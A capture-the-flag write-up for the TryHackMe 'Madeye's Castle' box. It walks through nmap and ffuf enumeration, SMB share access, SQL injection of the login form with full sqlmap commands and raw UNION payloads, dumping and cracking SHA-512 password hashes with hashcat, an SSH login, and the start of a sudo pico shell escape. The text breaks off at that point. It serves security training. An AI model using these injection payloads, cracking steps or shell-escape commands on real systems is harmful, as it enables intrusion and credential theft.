Madeye's Castle - Write-up - TryHackMe

Information

Room#

  • Name: Madeye's Castle
  • Profile: tryhackme.com
  • Difficulty: Medium
  • Description: A boot2root box that is modified from a box used in CuCTF by the team at Runcode.ninja

Madeye's Castle

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

$ sudo pacman -S nmap ffuf smbmap sqlmap hashcat gtfoblookup

Network enumeration#

Port and service scan with nmap:

# Nmap 7.91 scan initiated Mon May 10 17:12:54 2021 as: nmap -sSVC -p- -oA nmap_full -v 10.10.59.65
Nmap scan report for 10.10.59.65
Host is up (0.031s latency).
Not shown: 65531 filtered ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 7f:5f:48:fa:3d:3e:e6:9c:23:94:33:d1:8d:22:b4:7a (RSA)
|   256 53:75:a7:4a:a8:aa:46:66:6a:12:8c:cd:c2:6f:39:aa (ECDSA)
|_  256 7f:c2:2f:3d:64:d9:0a:50:74:60:36:03:98:00:75:98 (ED25519)
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: Amazingly It works
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: HOGWARTZ-CASTLE; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| nbstat: NetBIOS name: HOGWARTZ-CASTLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   HOGWARTZ-CASTLE<00>  Flags: <unique><active>
|   HOGWARTZ-CASTLE<03>  Flags: <unique><active>
|   HOGWARTZ-CASTLE<20>  Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|_  WORKGROUP<1e>        Flags: <group><active>
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: hogwartz-castle
|   NetBIOS computer name: HOGWARTZ-CASTLE\x00
|   Domain name: \x00
|   FQDN: hogwartz-castle
|_  System time: 2021-05-10T15:17:34+00:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2021-05-10T15:17:34
|_  start_date: N/A

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May 10 17:18:14 2021 -- 1 IP address (1 host up) scanned in 320.03 seconds

Let's add a domain:

$ grep madeyescastle /etc/hosts
10.10.59.65 madeyescastle.thm

Web enumeration#

At http://madeyescastle.thm/ there is only the Apache2 default page so let's enumerate.

$ ffuf -u http://madeyescastle.thm/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
...
backup                  [Status: 301, Size: 323, Words: 20, Lines: 10]
server-status           [Status: 403, Size: 282, Words: 20, Lines: 10]

There is a backup folder but no directory listing so let's enumerate files.

$ ffuf -u http://madeyescastle.thm/backup/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-d-files-lowercase.txt -fc 403

I found no files so there is maybe a sub-directory.

$ ffuf -u http://madeyescastle.thm/backup/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
...
email                   [Status: 200, Size: 1527, Words: 236, Lines: 44]

It was a file but without extension: http://madeyescastle.thm/backup/email

Madeye,

It is done. I registered the name you requested below but changed the "s" to a "z". You should be good to go.

RME

--------
On Tue, Nov 24, 2020 at 8:54 AM Madeye Moody <ctf@madeye.ninja> wrote:
Mr. Roar M. Echo,

Sounds great! Thanks, your mentorship is exactly what we need to avoid legal troubles with the Ministry of Magic.

Magically Yours,
madeye

--------
On Tue, Nov 24, 2020 at 8:53 AM Roar May Echo <info@roarmayecho.com> wrote:
Madeye,

I don't think we can do "hogwarts" due to copyright issues, but let’s go with "hogwartz", how does that sound?

Roar

--------
On Tue, Nov 24, 2020 at 8:52 AM Madeye Moody <ctf@madeye.ninja> wrote:
Dear Mr. Echo,

Thanks so much for helping me develop my castle for TryHackMe. I think it would be great to register the domain name of "hogwarts-castle.thm" for the box. I have been reading about virtual hosting in Apache and it's a great way to host multiple domains on the same server. The docs says that...

> The term Virtual Host refers to the practice of running more than one web site (such as
> company1.example.com and company2.example.com) on a single machine. Virtual hosts can be
> "IP-based", meaning that you have a different IP address for every web site, or "name-based",
> meaning that you have multiple names running on each IP address. The fact that they are
> running on the same physical server is not apparent to the end user.

You can read more here: https://httpd.apache.org/docs/2.4/vhosts/index.html

What do you think?

Thanks,
madeye

The domain of the vhost should be hogwartz-castle.thm, we just have to add it:

$ grep madeyescastle /etc/hosts
10.10.59.65 madeyescastle.thm hogwartz-castle.thm

Browsing http://hogwartz-castle.thm/ we now have a login form but we don't have a clue of any credentials.

Enumerating with ffuf gave nothing.

SMB enumeration#

Let's try to enumerate SMB then:

$ smbmap --no-banner -H hogwartz-castle.thm

[+] IP: hogwartz-castle.thm:445 Name: unknown                   Status: Guest session
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  NO ACCESS       Printer Drivers
        sambashare                                              READ ONLY       Harry's Important Files
        IPC$                                                    NO ACCESS       IPC Service (hogwartz-castle server (Samba, Ubuntu))

We can mount the RO share sambashare with xdg-open smb://hogwartz-castle.thm/

And retrieve 2 files: spellnames.txt (list of words) and .notes containing 2 hints:

Hagrid told me that spells names are not good since they will not "rock you"

Hermonine loves historical text editors along with reading old books.

This seems like a stupid rabbit hole since BF using harry, hagrid, hermonine doesn't work over HTTP form, SSH or SMB using that wordlist. Ok the hint said spells names are not good but a wordlist + mentioning rockyou is an invitation to BF.

Web exploitation: SQL injection#

The login form is SQL injectable.

sqlmap is able to exploit it but since the app has a weird behavior it always retrieves a table full of null values.

$ sqlmap -u 'http://hogwartz-castle.thm/login' --random-agent --method POST --data 'user=Harry&password=pass' -p user --skip passwrd --level 5 --risk 3 --dbms SQLite --dump -T users -C name,password,admin,notes --flush-session --threads 10 --no-cast --tamper unionalltounion --union-char 1337

$ sqlmap -u 'http://hogwartz-castle.thm/login' --random-agent --method POST --data 'user=Harry&password=pass' -p user --skip passwrd --level 5 --risk 3 --dbms SQLite --dump -T users -C notes --threads 10 --no-cast --tamper unionalltounion --union-char 1337 --flush-session -v 7

But if instead of telling SQLmap to dump the 4 columns -C name,password,admin,notes we only ask it to retrieve one at a time (eg. -C notes) it actually works but it retrieves one row instead of 40.

Database: <current>
Table: users
[1 entry]
+-------------------------------------------------------------------+
| notes                                                             |
+-------------------------------------------------------------------+
|  contact administrator. Congrats on SQL injection... keep digging |
+-------------------------------------------------------------------+

But by putting a very high verbosity -v 7 We can see the following request is performed, using a JSON_GROUP_ARRAY:

[10:24:59] [PAYLOAD] Harry' UNION SELECT 'qbpjq'||JSON_GROUP_ARRAY(COALESCE(notes,' '))||'qzxxq',1337,1337,1337 FROM users-- DFtg
...
user=Harry%27%20UNION%20SELECT%20%27qbpjq%27%7C%7CJSON_GROUP_ARRAY%28COALESCE%28notes%2C%27%20%27%29%29%7C%7C%27qzxxq%27%2C1337%2C1337%2C1337%20FROM%20users--%20DFtg&password=pass

Where the answer received contains all values but in an escaped JSON array inside a JSON error:

{"error":"The password for qbpjq[\"contact administrator. Congrats on SQL injection... keep digging\",\"My linux username is my first name, and password uses best64\",\" contact administrator. Congrats on SQL injection... keep digging\"
,\"contact administrator. Congrats on SQL injection... keep digging\",\"contact administrator. Congrats on SQL injection... keep digging\",\"contact administrator. Congrats on SQL injection... keep digging\",\" contact administrator. Co
ngrats on SQL injection... keep digging\",\" contact administrator. Congrats on SQL injection... keep digging\",\" contact administrator. Congrats on SQL injection... keep digging\",\" contact administrator. Congrats on SQL injection...
 keep digging\",\" contact administrator. Congrats on SQL injection... keep digging\",\" contact administrator. Congrats on SQL injection... keep digging\",\"contact administrator. Congrats on SQL injection... keep digging\",\"contact a
dministrator. Congrats on SQL injection... keep digging\",\"contact administrator. Congrats on SQL injection... keep digging\",\"contact administrator. Congrats on SQL injection... keep digging\",\"contact administrator. Congrats on SQL
 injection... keep digging\",\"contact administrator. Congrats on SQL injection... keep digging\",\" contact administrator. Congrats on SQL injection... keep digging\",\" contact administrator. Congrats on SQL injection... keep digging\
",\"contact administrator. Congrats on SQL injection... keep digging\",\" contact administrator. Congrats on SQL injection... keep digging\",\" contact administrator. Congrats on SQL injection... keep digging\",\"contact administrator.
Congrats on SQL injection... keep digging\",\"contact administrator. Congrats on SQL injection... keep digging\",\"contact administrator. Congrats on SQL injection... keep digging\",\" contact administrator. Congrats on SQL injection...
 keep digging\",\" contact administrator. Congrats on SQL injection... keep digging\",\" contact administrator. Congrats on SQL injection... keep digging\",\" contact administrator. Congrats on SQL injection... keep digging\",\" contact
 administrator. Congrats on SQL injection... keep digging\",\"contact administrator. Congrats on SQL injection... keep digging\",\" contact administrator. Congrats on SQL injection... keep digging\",\"contact administrator. Congrats on
SQL injection... keep digging\",\" contact administrator. Congrats on SQL injection... keep digging\",\" contact administrator. Congrats on SQL injection... keep digging\",\"contact administrator. Congrats on SQL injection... keep diggi
ng\",\" contact administrator. Congrats on SQL injection... keep digging\",\"contact administrator. Congrats on SQL injection... keep digging\",\" contact administrator. Congrats on SQL injection... keep digging\"]qzxxq is incorrect! 1337"}

If we clean that a little we have:

The password for qbpjq
[
  "contact administrator. Congrats on SQL injection... keep digging",
  "My linux username is my first name, and password uses best64",
  " contact administrator. Congrats on SQL injection... keep digging",
  "contact administrator. Congrats on SQL injection... keep digging",
  "contact administrator. Congrats on SQL injection... keep digging",
  "contact administrator. Congrats on SQL injection... keep digging",
  " contact administrator. Congrats on SQL injection... keep digging",
  " contact administrator. Congrats on SQL injection... keep digging",
  " contact administrator. Congrats on SQL injection... keep digging",
  " contact administrator. Congrats on SQL injection... keep digging",
  " contact administrator. Congrats on SQL injection... keep digging",
  " contact administrator. Congrats on SQL injection... keep digging",
  "contact administrator. Congrats on SQL injection... keep digging",
  "contact administrator. Congrats on SQL injection... keep digging",
  "contact administrator. Congrats on SQL injection... keep digging",
  "contact administrator. Congrats on SQL injection... keep digging",
  "contact administrator. Congrats on SQL injection... keep digging",
  "contact administrator. Congrats on SQL injection... keep digging",
  " contact administrator. Congrats on SQL injection... keep digging",
  " contact administrator. Congrats on SQL injection... keep digging",
  "contact administrator. Congrats on SQL injection... keep digging",
  " contact administrator. Congrats on SQL injection... keep digging",
  " contact administrator. Congrats on SQL injection... keep digging",
  "contact administrator. Congrats on SQL injection... keep digging",
  "contact administrator. Congrats on SQL injection... keep digging",
  "contact administrator. Congrats on SQL injection... keep digging",
  " contact administrator. Congrats on SQL injection... keep digging",
  " contact administrator. Congrats on SQL injection... keep digging",
  " contact administrator. Congrats on SQL injection... keep digging",
  " contact administrator. Congrats on SQL injection... keep digging",
  " contact administrator. Congrats on SQL injection... keep digging",
  "contact administrator. Congrats on SQL injection... keep digging",
  " contact administrator. Congrats on SQL injection... keep digging",
  "contact administrator. Congrats on SQL injection... keep digging",
  " contact administrator. Congrats on SQL injection... keep digging",
  " contact administrator. Congrats on SQL injection... keep digging",
  "contact administrator. Congrats on SQL injection... keep digging",
  " contact administrator. Congrats on SQL injection... keep digging",
  "contact administrator. Congrats on SQL injection... keep digging",
  " contact administrator. Congrats on SQL injection... keep digging"
]
qzxxq is incorrect! 1337

The only interesting note is:

My linux username is my first name, and password uses best64

Now let's try fetch user names:

$ sqlmap -u 'http://hogwartz-castle.thm/login' --random-agent --method POST --data 'user=Harry&password=pass' -p user --skip passwrd --level 5 --risk 3 --dbms SQLite --dump -T users -C name --threads 10 --no-cast --tamper unionalltounion --union-char 1337 --flush-session -v 7
...
Database: <current>
Table: users
[1 entry]
+---------------+
| name          |
+---------------+
| Aaliyah Allen |
+---------------+

Request:

[10:38:03] [PAYLOAD] Harry' UNION SELECT 'qxvbq'||JSON_GROUP_ARRAY(COALESCE(name,' '))||'qppjq',1337,1337,1337 FROM users-- dnjD
user=Harry%27%20UNION%20SELECT%20%27qxvbq%27%7C%7CJSON_GROUP_ARRAY%28COALESCE%28name%2C%27%20%27%29%29%7C%7C%27qppjq%27%2C1337%2C1337%2C1337%20FROM%20users--%20dnjD&password=pass

Raw answer:

{"error":"The password for qxvbq[\"Lucas Washington\",\"Harry Turner\",\"Andrea Phillips\",\"Liam Hernandez\",\"Adam Jenkins\",\"Landon Alexander\",\"Kennedy Anderson\",\"Sydney Wright\",\"Aaliyah Sanders\",\"Olivia Murphy\",\"Olivia Ro
ss\",\"Grace Brooks\",\"Jordan White\",\"Diego Baker\",\"Liam Ward\",\"Carlos Barnes\",\"Carlos Lopez\",\"Oliver Gonzalez\",\"Sophie Sanchez\",\"Maya Sanders\",\"Joshua Reed\",\"Aaliyah Allen\",\"Jasmine King\",\"Jonathan Long\",\"Samue
l Anderson\",\"Julian Robinson\",\"Gianna Harris\",\"Madelyn Morgan\",\"Ella Garcia\",\"Zoey Gonzales\",\"Abigail Morgan\",\"Joseph Rivera\",\"Elizabeth Cook\",\"Parker Cox\",\"Savannah Torres\",\"Aaliyah Williams\",\"Blake Washington\",\"Claire Miller\",\"Brody Stewart\",\"Kimberly Murphy\"]qppjq is incorrect! 1337"}

Cleaned answer:

The password for qxvbq
[
  "Lucas Washington",
  "Harry Turner",
  "Andrea Phillips",
  "Liam Hernandez",
  "Adam Jenkins",
  "Landon Alexander",
  "Kennedy Anderson",
  "Sydney Wright",
  "Aaliyah Sanders",
  "Olivia Murphy",
  "Olivia Ross",
  "Grace Brooks",
  "Jordan White",
  "Diego Baker",
  "Liam Ward",
  "Carlos Barnes",
  "Carlos Lopez",
  "Oliver Gonzalez",
  "Sophie Sanchez",
  "Maya Sanders",
  "Joshua Reed",
  "Aaliyah Allen",
  "Jasmine King",
  "Jonathan Long",
  "Samue lAnderson",
  "Julian Robinson",
  "Gianna Harris",
  "Madelyn Morgan",
  "Ella Garcia",
  "Zoey Gonzales",
  "Abigail Morgan",
  "Joseph Rivera",
  "Elizabeth Cook",
  "Parker Cox",
  "Savannah Torres",
  "Aaliyah Williams",
  "Blake Washington",
  "Claire Miller",
  "Brody Stewart",
  "Kimberly Murphy"
]
qppjq is incorrect! 1337

Once I tried to extract the admin column containing boolean integers (0 or 1, but actually only 0) I understood that was causing a casting issue. So I tried to extract only columns returning string values -C name,password,notes but had the same issue (only 1st row).

Then I tried only username and password an it worked -C name,password as anyone would expect:

Database: <current>
Table: users
[40 entries]
+------------------+----------------------------------------------------------------------------------------------------------------------------------+
| name             | password                                                                                                                         |
+------------------+----------------------------------------------------------------------------------------------------------------------------------+
| Lucas Washington | c53d7af1bbe101a6b45a3844c89c8c06d8ac24ed562f01b848cad9925c691e6f10217b6594532b9cd31aa5762d85df642530152d9adb3005fac407e2896bf492 |
| Harry Turner     | b326e7a664d756c39c9e09a98438b08226f98b89188ad144dd655f140674b5eb3fdac0f19bb3903be1f52c40c252c0e7ea7f5050dec63cf3c85290c0a2c5c885 |
| Andrea Phillips  | e1ed732e4aa925f0bf125ae8ed17dd2d5a1487f9ff97df63523aa481072b0b5ab7e85713c07e37d9f0c6f8b1840390fc713a4350943e7409a8541f15466d8b54 |
| Liam Hernandez   | 5628255048e956c9659ed4577ad15b4be4177ce9146e2a51bd6e1983ac3d5c0e451a0372407c1c7f70402c3357fc9509c24f44206987b1a31d43124f09641a8d |
| Adam Jenkins     | 2317e58537e9001429caf47366532d63e4e37ecd363392a80e187771929e302922c4f9d369eda97ab7e798527f7626032c3f0c3fd19e0070168ac2a82c953f7b |
| Landon Alexander | 79d9a8bef57568364cc6b4743f8c017c2dfd8fd6d450d9045ad640ab9815f18a69a4d2418a7998b4208d509d8e8e728c654c429095c16583cbf8660b02689905 |
| Kennedy Anderson | e3c663d68c647e37c7170a45214caab9ca9a7d77b1a524c3b85cdaeaa68b2b5e740357de2508142bc915d7a16b97012925c221950fb671dd513848e33c33d22e |
| Sydney Wright    | d3ccca898369a3f4cf73cbfc8daeeb08346edf688dc9b7b859e435fe36021a6845a75e4eddc7a932e38332f66524bd7876c0c613f620b2030ed2f89965823744 |
| Aaliyah Sanders  | dc2a6b9462945b76f333e075be0bc2a9c87407a3577f43ba347043775a0f4b5c1a78026b420a1bf7da84f275606679e17ddc26bceae25dad65ac79645d2573c0 |
| Olivia Murphy    | 6535ee9d2b8d6f2438cf92da5a00724bd2539922c83ca19befedbe57859ceafd6d7b9db83bd83c26a1e070725f6f336e21cb40295ee07d87357c34b6774dd918 |
| Olivia Ross      | 93b4f8ce01b44dd25c134d0517a496595b0b081cef6eb625e7eb6662cb12dd69c6437af2ed3a5972be8b05cc14a16f46b5d11f9e27e6550911ed3d0fe656e04d |
| Grace Brooks     | 9a311251255c890692dc84b7d7d66a1eefc5b89804cb74d16ff486927014d97502b2f790fbd7966d19e4fbb03b5eb7565afc9417992fc0c242870ea2fd863d6d |
| Jordan White     | 5ed63206a19b036f32851def04e90b8df081071aa8ca9fb35ef71e4daf5e6c6eab3b3fea1b6e50a45a46a7aee86e4327f73a00f48deb8ae2bf752f051563cc8b |
| Diego Baker      | 87ac9f90f01b4b2ae775a7cb96a8a04d7ab7530282fd76224ee03eecab9114275540e4b6a2c52e890cf11f62aacb965be0c53c48c0e51bf731d046c5c3182aad |
| Liam Ward        | 88344d6b7724bc0e6e3247d4912fa755a5a91c2276e08610462f6ea005d16fd5e305dfe566e7f1dd1a98afe1abfa38df3d9697cdc47ecbb26ac4d21349d09ba7 |
| Carlos Barnes    | 7f67af71e8cbb7188dd187b7da2386cc800ab8b863c9d0b2dce87c98a91b5511330a2ad4f7d73592b50a2a26c26970cfbd22f915d1967cd92569dbf5e24ac77e |
| Carlos Lopez     | 8c8702dbb6de9829bcd6da8a47ab26308e9db7cb274b354e242a9811390462a51345f5101d7f081d36eea4ec199470162775c32cb1f4a96351dc385711619671 |
| Oliver Gonzalez  | c809b40b7c3c0f095390f3cd96bb13864b7e8fd1670c6b1c05b1e26151be62782b97391b120cb4a8ee1d0c9b8fffaf12b44c9d084ae6041468ad5f12ec3d7a4e |
| Sophie Sanchez   | 68b519187b9e2552d555cb3e9183711b939f94dfe2f71bda0172ee8402acf074cc0f000611d68d2b8e9502fa7235c8a25d72da50916ad0689e00cb4f47283e9b |
| Maya Sanders     | 7eea93d53fbed3ba8f2fa3d25c5f16fe5eaff1f5371918e0845d2076a2e952a457390ad87d289bf25f9457032f14bb07dcd625d03f2f5ee5c887c09dc7107a66 |
| Joshua Reed      | e49608634f7de91d19e5e1b906e10c5a4a855a4fe32521f310727c9875e823c82b3e0347b32ef49ea44657e60e771d9e326d40ab60ce3a950145f1a7a79d3124 |
| Aaliyah Allen    | c063c5215b56091327a1f25e38e2d0a5e6db83cceb0ab29cbb0bedd686c18ee5770bfbbfa0a4ac542c8935b0fb63e30ea0bc0408d3523157d840fdfa54ec8dab |
| Jasmine King     | 487daab566431e86172ed68f0836f3221592f91c94059a725d2fdca145f97e6258593929c37d0339ca68614a52f4df61953b930585c4968cedaaa836744c52a6 |
| Jonathan Long    | 44b1fbcbcd576b8fd69bf2118a0c2b82ccf8a6a9ef2ae56e8978e6178e55b61d491f6fc152d07f97ca88c6b7532f25b8cd46279e8a2c915550d9176f19245798 |
| Samuel Anderson  | a86fa315ce8ed4d8295bf6d0139f23ba80e918a54a132e214c92c76768f27ce002253834190412e33c9af4ea76befa066d5bdeb47363f228c509b812dc5d81df |
| Julian Robinson  | a1f6e38be4bf9fd307efe4fe05522b8c3a9e37fc2c2930507e48cb5582d81f73814ffb543cef77b4b24a18e70e2670668d1a5b6e0b4cb34af9706890bd06bbc9 |
| Gianna Harris    | 01529ec5cb2c6b0300ed8f4f3df6b282c1a68c45ff97c33d52007573774014d3f01a293a06b1f0f3eb6e90994cb2a7528d345a266203ef4cd3d9434a3a033ec0 |
| Madelyn Morgan   | d17604dbb5c92b99fe38648bbe4e0a0780f2f4155d58e7d6eddd38d6eceb62ae81e5e31a0a2105de30ba5504ea9c75175a79ed23cd18abcef0c8317ba693b953 |
| Ella Garcia      | ac67187c4d7e887cbaccc625209a8f7423cb4ad938ec8f50c0aa5002e02507c03930f02fab7fab971fb3f659a03cd224669b0e1d5b5a9098b2def90082dfdbd2 |
| Zoey Gonzales    | 134d4410417fb1fc4bcd49abf4133b6de691de1ef0a4cdc3895581c6ad19a93737cd63cb8d177db90bd3c16e41ca04c85d778841e1206193edfebd4d6f028cdb |
| Abigail Morgan   | afcaf504e02b57f9b904d93ee9c1d2e563d109e1479409d96aa064e8fa1b8ef11c92bae56ddb54972e918e04c942bb3474222f041f80b189aa0efd22f372e802 |
| Joseph Rivera    | 6487592ed88c043e36f6ace6c8b6c59c13e0004f9751b0c3fdf796b1965c48607ac3cc4256cc0708e77eca8e2df35b668f5844200334300a17826c033b03fe29 |
| Elizabeth Cook   | af9f594822f37da8ed0de005b940158a0837060d3300be014fe4a12420a09d5ff98883d8502a2aaffd64b05c7b5a39cdeb5c57e3005c3d7e9cadb8bb3ad39ddb |
| Parker Cox       | 53e7ea6c54bea76f1d905889fbc732d04fa5d7650497d5a27acc7f754e69768078c246a160a3a16c795ab71d4b565cde8fdfbe034a400841c7d6a37bdf1dab0d |
| Savannah Torres  | 11f9cd36ed06f0c166ec34ab06ab47f570a4ec3f69af98a3bb145589e4a221d11a09c785d8d3947490ae4cd6f5b5dc4eb730e4faeca2e1cf9990e35d4b136490 |
| Aaliyah Williams | 9dc90274aef30d1c017a6dc1d5e3c07c8dd6ae964bcfb95cadc0e75ca5927faa4d72eb01836b613916aea2165430fc7592b5abb19b0d0b2476f7082bfa6fb760 |
| Blake Washington | 4c968fc8f5b72fd21b50680dcddea130862c8a43721d8d605723778b836bcbbc0672d20a22874af855e113cba8878672b7e6d4fc8bf9e11bc59d5dd73eb9d10e |
| Claire Miller    | d4d5f4384c9034cd2c77a6bee5b17a732f028b2a4c00344c220fc0022a1efc0195018ca054772246a8d505617d2e5ed141401a1f32b804d15389b62496b60f24 |
| Brody Stewart    | 36e2de7756026a8fc9989ac7b23cc6f3996595598c9696cca772f31a065830511ac3699bdfa1355419e07fd7889a32bf5cf72d6b73c571aac60a6287d0ab8c36 |
| Kimberly Murphy  | 8f45b6396c0d993a8edc2c71c004a91404adc8e226d0ccf600bf2c78d33ca60ef5439ccbb9178da5f9f0cfd66f8404e7ccacbf9bdf32db5dae5dde2933ca60e6 |
+------------------+----------------------------------------------------------------------------------------------------------------------------------+

Here a classic concat (with ||) is used instead of JSON_GROUP_ARRAY:

[10:46:57] [PAYLOAD] Harry' UNION SELECT 1337,1337,1337,(SELECT 'qxjxq'||name||'esuvev'||password||'qzjqq' FROM users LIMIT 39,1)-- asUH

Returning this kind of result:

{"error":"The password for 1337 is incorrect! qxjxqJoseph Riveraesuvev6487592ed88c043e36f6ace6c8b6c59c13e0004f9751b0c3fdf796b1965c48607ac3cc4256cc0708e77eca8e2df35b668f5844200334300a17826c033b03fe29qzjqq"}

Let's save the output CSV:

$ cp /home/noraj/.local/share/sqlmap/output/hogwartz-castle.thm/dump/SQLite_masterdb/users.csv .

What is the conclusion here?

There are 13 WU for this room, 100% of them abandonned using SQLmap and done it manually. But most of them just tried to throw a command like that sqlmap -r request --level 5 --risk 3 --dump-all --threads 10 and said something like "SQLmap not working, let's try manually".

What did I do?

  1. I persevered (tried harder) #tryharder
  2. I read (and always do) the SQLmap documentation/Wiki #RTFM
  3. I increased debug verbosity to understand the payload that were sent and the answers received #troubleshooting

What did they do?

  1. Some of them have tried a long time but send random option without understanding
  2. Some of them may have read the wiki but not enough
  3. None actually used -v 7 else they would have succeeded

Conclusion, what should you do next time?

  1. Always try harder, it's rewarding
  2. Always read the documentation
  3. Pay attention to details
  4. When you don't understand what's going on, go check the logs, increase verbosity, enable debug mode, etc.
  5. Always try to understand what you are doing even with automatic tools, don't blindly execute automatic tools or copy answer from another write-up

Thank you for listening, that was a lesson from professor noraj.

Note: Some options I used like --tamper or --union-char are useless here.

Note2: One could argue "It's better to do it manually so you deeply understand all requests". Yes if it's the first time you're doing it you'll definitely learn something but when you did it manually a ton of time you expect to automate the process to save time and pain. Also manual exploitation is not guaranteed to make you learn more, for example for those blindly copy/pasting cheat-sheet payloads.

Hash cracking#

Let's prepare a file with name:password for JtR or Hashcat:

$ cat users.csv | tr ',' ':' > hashes.txt

Here no need to try a rockyou or whatever wordlist brute-force to crack the hashes, it won't work. Remember the hint:

My linux username is my first name, and password uses best64

But first let's identify the hash type with haiti:

$ haiti c53d7af1bbe101a6b45a3844c89c8c06d8ac24ed562f01b848cad9925c691e6f10217b6594532b9cd31aa5762d85df642530152d9adb3005fac407e2896bf492
SHA-512 [HC: 1700] [JtR: raw-sha512]
SHA3-512 [HC: 17600] [JtR: raw-sha3]
SHA3-512 [HC: 17600] [JtR: dynamic_400]
Keccak-512 [HC: 18000] [JtR: raw-keccak]
BLAKE2-512 [HC: 600] [JtR: raw-blake2]
Whirlpool [HC: 6100] [JtR: whirlpool]
Salsa10
Salsa20
Skein-512 [JtR: skein-512]
Skein-1024(512)

So it's more likely SHA-512 and we have already the hashcat and john identifier to use.

PS: haiti is already embedded in BlackArch and Pentoo and can also be install with one command on any distro using gem. But if you would like to see haiti on Kali or Parrot please comment the following issue on Kali Bug Tracker: ID 0006797 and Parrot Bug Tracker ID 17290.

I usually use JtR (John the Ripper, CPU based) since I don't have a dedicated GPU on my laptop and openGL driver sucks anyway. But the hint is talking about best64 which is the name of a Hashcat rule.

$ ls /usr/share/doc/hashcat/rules
best64.rule      dive.rule        hybrid                      InsidePro-PasswordsPro.rule  rockyou-30000.rule                              T0XlC-insert_space_and_special_0_F.rule  T0XlCv1.rule   toggles3.rule  unix-ninja-leetspeak.rule
combinator.rule  generated2.rule  Incisive-leetspeak.rule     leetspeak.rule               specific.rule                                   T0XlC-insert_top_100_passwords_1_G.rule  toggles1.rule  toggles4.rule
d3ad0ne.rule     generated.rule   InsidePro-HashManager.rule  oscommerce.rule              T0XlC-insert_00-99_1950-2050_toprules_0_F.rule  T0XlC.rule                               toggles2.rule  toggles5.rule

PS: If you want to learn more about hash cracking please do the Crack The Hash Level 2 THM room I created.

JtR works well with a file containing user:pass but not Hashcat so let's adapt something Hashcat will accept:

$ cat hashes.txt| cut -d ':' -f 2 > hashes2.txt

We can then run hashcat providing the hashes to crack hashes2.txt, the wordlist to use spellnames.txt and the rule to apply on the wordlist -r /usr/share/doc/hashcat/rules/best64.rule.

$ hashcat --force -m 1700 hashes2.txt spellnames.txt -r /usr/share/doc/hashcat/rules/best64.rule
b326e7a664d756c39c9e09a98438b08226f98b89188ad144dd655f140674b5eb3fdac0f19bb3903be1f52c40c252c0e7ea7f5050dec63cf3c85290c0a2c5c885:wingardiumleviosa123

We have the password, let's find back what was the username:

$ grep b326e7a664d756c39c9e09a98438b08226f98b89188ad144dd655f140674b5eb3fdac0f19bb3903be1f52c40c252c0e7ea7f5050dec63cf3c85290c0a2c5c885 hashes.txt | cut -d ':' -f 1
Harry Turner

We were told the linux username was the first name of the user so the credentials are harry / wingardiumleviosa123.

System enumeration#

We can connect via SSH now:

$ ssh harry@hogwartz-castle.thm
The authenticity of host 'hogwartz-castle.thm (10.10.10.6)' can't be established.
ED25519 key fingerprint is SHA256:aoBkBWztoybmKKG6fmaF81L3u4vOoka0W8OgIKh3E7Y.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'hogwartz-castle.thm' (ED25519) to the list of known hosts.
harry@hogwartz-castle.thm's password:
 _      __    __                     __         __ __                          __
 | | /| / /__ / /______  __ _  ___   / /____    / // /__  ___ __    _____ _____/ /____
 | |/ |/ / -_) / __/ _ \/  ' \/ -_) / __/ _ \  / _  / _ \/ _ `/ |/|/ / _ `/ __/ __/_ /
 |__/|__/\__/_/\__/\___/_/_/_/\__/  \__/\___/ /_//_/\___/\_, /|__,__/\_,_/_/  \__//__/
                                                        /___/

Last login: Thu Nov 26 01:42:18 2020
harry@hogwartz-castle:~$

Basic foothold:

harry@hogwartz-castle:~$ id
uid=1001(harry) gid=1001(harry) groups=1001(harry)
harry@hogwartz-castle:~$ ls -lhA
total 24K
lrwxrwxrwx 1 root  root     9 Nov 26 01:06 .bash_history -> /dev/null
-rw-r----- 1 harry harry  220 Apr  4  2018 .bash_logout
-rw-r----- 1 harry harry 3.7K Apr  4  2018 .bashrc
drwx------ 2 harry harry 4.0K Nov 26 01:17 .cache
drwx------ 3 harry harry 4.0K Nov 26 01:17 .gnupg
-rw-r----- 1 harry harry  807 Apr  4  2018 .profile
-rw-r----- 1 harry harry   40 Nov 26 01:06 user1.txt
harry@hogwartz-castle:~$ cat user1.txt
RME{edited}

So we can find something very suspicious from the start:

harry@hogwartz-castle:~$ sudo -l
[sudo] password for harry: 
Matching Defaults entries for harry on hogwartz-castle:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User harry may run the following commands on hogwartz-castle:
    (hermonine) /usr/bin/pico
    (hermonine) /usr/bin/pico

Elevation of Privilege (EoP): from harry to hermonine#

My prefered way to quickly check GTFObin is by using gtfoblookup:

$ gtfoblookup linux sudo pico
pico:

    sudo:

        Code: sudo pico
              ^R^X
              reset; sh 1>&0 2>&0

